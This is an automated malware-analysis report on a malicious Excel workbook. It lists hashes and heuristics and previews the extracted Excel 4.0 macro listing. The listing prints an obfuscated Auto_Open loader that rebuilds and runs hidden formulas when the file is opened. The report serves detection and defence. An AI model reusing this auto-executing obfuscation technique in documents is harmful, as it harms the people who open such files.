Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0a4dc6cba72c076b…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:45:53 Authoring application: Microsoft Excel First seen: 2021-03-01
MD5: 4ae80c556b4f62281fb3f0ff310e448b SHA-1: 6f5d94a330a0557beda1f377a6e96441c8da7eb9 SHA-256: 0a4dc6cba72c076b488292563dd03c79da543f8ee513addc28c20ef2b5126db2
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6421 bytes
SHA-256: abacd22c0a53fb1ff46bb4ecd7ea6bcd5847df0a086f8ba8b07b96e66ac235cf
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  eafc
' 0018     23 LABEL : Cell Value, String Constant - AirxepLF len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A153 
' 0018     25 LABEL : Cell Value, String Constant - CHDHqopfTY len=0 
' 0018     24 LABEL : Cell Value, String Constant - DgCzFmHlW len=0 
' 0018     22 LABEL : Cell Value, String Constant - GLiDaQl len=0 
' 0018     21 LABEL : Cell Value, String Constant - HgLTWH len=0 
' 0018     27 LABEL : Cell Value, String Constant - loJoKfRGdsIS len=0 
' 0018     24 LABEL : Cell Value, String Constant - nquFHBoRw len=0 
' 0018     25 LABEL : Cell Value, String Constant - OncIrTYVrJ len=0 
' 0018     27 LABEL : Cell Value, String Constant - pGpNCIFQGptm len=0 
' 0018     22 LABEL : Cell Value, String Constant - pvXxKJp len=0 
' 0018     25 LABEL : Cell Value, String Constant - QXmbdqQHDe len=0 
' 0018     23 LABEL : Cell Value, String Constant - sLNguaVP len=0 
' 0018     26 LABEL : Cell Value, String Constant - SSXRXwMMWZB len=0 
' 0018     25 LABEL : Cell Value, String Constant - stEILCNbPC len=0 
' 0018     22 LABEL : Cell Value, String Constant - TkiDRRW len=0 
' 0018     22 LABEL : Cell Value, String Constant - VXMFbBl len=0 
' 0018     26 LABEL : Cell Value, String Constant - wOnpoOHgaNi len=0 
' 0018     24 LABEL : Cell Value, String Constant - xadZfyLOb len=0 
' 0018     23 LABEL : Cell Value, String Constant - yYroYSKF len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZpGtsS len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  eafc,A60,"SET.NAME("ZpGtsS",VALUE("0"))",""
'  eafc,A64,"SET.NAME("yYroYSKF",ZpGtsS)",""
'  eafc,A66,"SET.NAME("xadZfyLOb",ZpGtsS)",""
'  eafc,A69,"SET.NAME("DgCzFmHlW",COUNTA(wOnpoOHgaNi))",""
'  eafc,A73,"SET.NAME("TkiDRRW",COUNTA(VXMFbBl))",""
'  eafc,A76,[],""
'  eafc,A80,"SET.NAME("SSXRXwMMWZB","")",""
'  eafc,A84,"yYroYSKF",""
'  eafc,A88,"SET.NAME("GLiDaQl",HLOOKUP("*",wOnpoOHgaNi,yYroYSKF,FALSE))",""
'  eafc,A93,"OncIrTYVrJ",""
'  eafc,A95,"SET.NAME("stEILCNbPC",ZpGtsS)",""
'  eafc,A98,[],""
'  eafc,A100,"stEILCNbPC",""
'  eafc,A104,"sLNguaVP",""
'  eafc,A109,"AirxepLF",""
'  eafc,A113,"HgLTWH",""
'  eafc,A118,"SET.NAME("CHDHqopfTY",VALUE(HLOOKUP("*",VXMFbBl,HgLTWH,FALSE)))",""
'  eafc,A121,"QXmbdqQHDe",""
'  eafc,A124,"SSXRXwMMWZB",""
'  eafc,A128,"xadZfyLOb",""
'  eafc,A131,NEXT(),""
'  eafc,A136,"pvXxKJp",""
'  eafc,A141,"SET.NAME("f",INT(T(FORMULA(T(SSXRXwMMWZB)&"",""&T(pvXxKJp)))))",""
'  eafc,A145,"loJoKfRGdsIS",""
'  eafc,A147,NEXT(),""
'  eafc,A150,RETURN(),""
'  eafc,A179,"SET.NAME("pGpNCIFQGptm",A60)",""
'  eafc,A181,"wOnpoOHgaNi",""
'  eafc,A183,"SET.NAME("VXMFbBl",R99C13)",""
'  eafc,A186,"SET.NAME("loJoKfRGdsIS",197)",""
'  eafc,A191,"SET.NAME("nquFHBoRw",1)",""
'  eafc,A196,pGpNCIFQGptm(),""
'  eafc,A197,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.